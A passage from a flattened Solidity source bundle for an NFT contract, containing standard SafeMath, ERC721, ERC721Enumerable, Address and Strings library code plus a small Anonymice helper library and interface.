unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../token/ERC721/IERC721.sol"; // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; library AnonymiceLibrary { string internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ""; // load the table into memory string memory table = TABLE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for { } lt(dataPtr, endPtr) { } { dataPtr := add(dataPtr, 3) // read 3 bytes let input := mload(dataPtr) // write 4 characters mstore( resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F)))) ) resultPtr := add(resultPtr, 1) mstore( resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F)))) ) resultPtr := add(resultPtr, 1) mstore( resultPtr, shl(248, mload(add(tablePtr, and(shr(6, input), 0x3F)))) ) resultPtr := add(resultPtr, 1) mstore( resultPtr, shl(248, mload(add(tablePtr, and(input, 0x3F)))) ) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function parseInt(string memory _a) internal pure returns (uint8 _parsedInt) { bytes memory bresult = bytes(_a); uint8 mint = 0; for (uint8 i = 0; i < bresult.length; i++) { if ( (uint8(uint8(bresult[i])) >= 48) && (uint8(uint8(bresult[i])) <= 57) ) { mint *= 10; mint += uint8(bresult[i]) - 48; } } return mint; } function substring( string memory str, uint256 startIndex, uint256 endIndex ) internal pure returns (string memory) { bytes memory strBytes = bytes(str); bytes memory result = new bytes(endIndex - startIndex); for (uint256 i = startIndex; i < endIndex; i++) { result[i - startIndex] = strBytes[i]; } return string(result); } function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } } pragma solidity ^0.8.4; interface OriginalAnonymiceInterface { struct Trait { string traitName; string traitType; string pixels; uint256 pixelCount; } function _tokenIdToHash(uint _tokenId) external view returns (string memory); function traitTypes(uint a, uint b) external view returns (string memory, string memory, string memory, uint); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 